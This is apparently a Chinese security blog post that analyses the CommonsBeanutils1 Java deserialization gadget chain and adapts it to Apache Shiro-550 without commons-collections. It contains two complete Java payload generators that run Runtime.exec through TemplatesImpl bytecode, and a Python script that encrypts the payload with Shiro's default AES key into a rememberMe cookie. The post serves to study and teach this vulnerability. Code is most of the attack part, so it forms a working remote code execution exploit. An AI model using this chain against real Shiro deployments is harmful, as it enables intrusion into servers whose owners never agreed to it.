Apache Commons Beanutils

首先看一下 Commons Beanutils包,Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
JavaBean可以简单的理解为一个Java类对象。
commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,看面的demo:
demo

package org.example.cb1;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;
public class Bean {

    private String name = "cb";
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
        //在commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。
        System.out.println("cb");
    }
}

运行后会打印输出两个cb字符串。
在这里插入图片描述
在commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。

CB1利用链分析

poc

package org.example.cb1;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1Demo1 {
    // 修改值的方法,简化代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static void main(String[] args) throws Exception {
        // 创建恶意类,用于报错抛出调用链
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 创建序列化对象
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("result.ser"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("result.ser"));
        in.readObject();
    }
}

从之前文章一路跟过来我们就不去剖析cc2链条了,在cc2链中使用到了PriorityQueue优先队列的类,其中重写的readObject方法中执行java.util.Comparator 接口的compare() 方法。
而恰好在commons-beanutils包中就存在一个:org.apache.commons.beanutils.BeanComparator 。
BeanComparator 是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了java.util.Comparator 接口。
在这里插入图片描述
这个方法传入两个对象,如果this.property 为空,则直接比较这两个对象;如果this.property 不为空,则用PropertyUtils.getProperty 分别取这两个对象的this.property 属性,比较属性的值。这里就调用了getProperty,如果将传入的o1设置为TemplatesImpl类,property设置为OutputProperties,就能成功将cc2和cc3链起来,并且不依赖于commons-collections。(个人理解,不依赖cc链中的transform类或transform封装类)

我们再看到PriorityQueue.readObject优先队列的反序列化类:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到在PriorityQueue#readObject() 中调⽤了heapify() ⽅法, heapify() 中调⽤了siftDown() , siftDown() 中调⽤了siftDownUsingComparator() ,siftDownUsingComparator() 中调⽤的comparator.compare()
整个利用链条如下:
在这里插入图片描述
因为后面的利用链和cc2的相似,所以我们不一步一步跟进。
我们再起一个shiro服务,之前shiro550那篇文章我们写过如何部署,这里直接启动。
在这里插入图片描述
web访问我们已经启动shiro服务。
shiro550那篇文章我们分析过shiro是把序列化的数据先进行AES加密,然后再进行base64编码的,这里我们使用脚本,把刚才生成的result.ser进行加密编码。

import base64
from Crypto.Cipher import AES
 
with open(r"D:\E\IDEA\project\jdk7cc\result.ser","rb") as f:
    byte_POC = f.read()
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(byte_POC)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    print("rememberMe={}".format(base64_ciphertext.decode()))

添加cookie字段,把生成的数据添加即可弹出计算机。

Shiro-550利用注意事项

我们先看一下shiro依赖的jar包

1. shiro-core、shiro-web,这是shiro本身的依赖
2. javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这
两个依赖
3. slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
4. commons-logging,这是shiro中用到的一个接口,不添加会爆
java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
5. commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖

commons-collections这个jar包是为了演示反序列化漏洞,增加了commons-collections依赖,shiro框架本身是没有这个依赖的。那么,实际场景下,目标可能并没有安装commons-collections,这个时候shiro反序列化漏洞是否仍然可以利用呢?
我们把shiro项目的pom.xml中删掉commons-collections依赖,然后重新加载maven。
在这里插入图片描述
只存在Commons-Beanutils-1.8.3这个依赖jar包。
那么是否能用CommonsBeanutils1链条利用呢,我们再次发送一下数据。
在这里插入图片描述
可以发现服务端打印了报错。说是反序列化流的serialVersionUID和本地类的serialVersionUID不同,那么serialVersionUID到底是个什么呢?

serialVersionUID

两个不同版本的类库可能又同一个类,而这两个类可能有一些方法和属性发生变化,序列化的时候可能因为不兼容导致隐患。
因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID 值,写入数据流中;
反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。
简单的来说就是序列化和反序列化所用的依赖jar包不同导致不能但序列化。
我们发现我们的项目使用的是Commons-Beanutils-1.9.2,我们改为shiro框架自带的Commons-Beanutils-1.8.3的依赖,再次运行。
在这里插入图片描述
简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于 commons-collections。

commons-beanutils 本来依赖于 commons-collections,但是在 Shiro 中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,
但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

无依赖的 Shiro 反序列化 Gadget

在构造Commons-Beanutils链的时候对BeanComparator进行了实例化。
在这里插入图片描述
可以看到BeanComparator的构造函数如果没有传入参数,则默认使用 ComparableComparator 。而这个ComparableComparator类存在于commons-collections包中,现在我们删除,所以找不到此类。
既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

实现java.util.Comparator 接口
实现java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强

通过IDEA的快捷键Ctrl+Alt+B搜索接口的实现类。这里跟着P神文章找,找到了CaseInsensitiveComparator。其它的也可以只要符合上面的3个条件就好了。
在这里插入图片描述
在这里插入图片描述
可以通过CASE_INSENSITIVE_ORDER拿到CaseInsensitiveComparator类

这个CaseInsensitiveComparator 类是java.lang.String 类下的一个内部私有类,其实现了Comparator 和Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。我们通过String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator 对象,用它来实例化BeanComparator。

因此我们只需要将之前的Commons-Beanutils1链中的new BeanComparator();改成new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);。并且queue.add传入的值需要传入字符串。

修改Commons-Beanutils1链

最终可以利用的Commons-Beanutils1链,并且不包含Commons-collections。

package org.example.cb1;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1Demo2 {
    // 修改值的方法,简化代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static void main(String[] args) throws Exception {
        // 创建恶意类,用于报错抛出调用链
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 创建序列化对象
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add("1");
        queue.add("1");

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("result.ser"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("result.ser"));
        in.readObject();

    }
}

将生成的序列化文件通过py脚本加密与base64编码之后,生成的数据放到cookie中,成功弹出计算机。
在这里插入图片描述
总结:
TemplatesImpl#getOutputProperties()正好符合PropertyUtils.getProperty( o1, property )
PriorityQueue优先队列这个类反序列化的时候 有一个比较方法,我们可以找一个 实现Serializable接口的类和实现comparator接口的类
然后找到BeanComparator方法,下面的compare方法中有PropertyUtils.getProperty(o1, this.property);
TemplatesImpl,OutputProperties传入即可实现代码执行

参考:
https://xz.aliyun.com/t/10569
https://github.com/phith0n/JavaThings
Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用
posted on 2022-09-13 18:13  noone52  阅读(145)  评论(0编辑  收藏  举报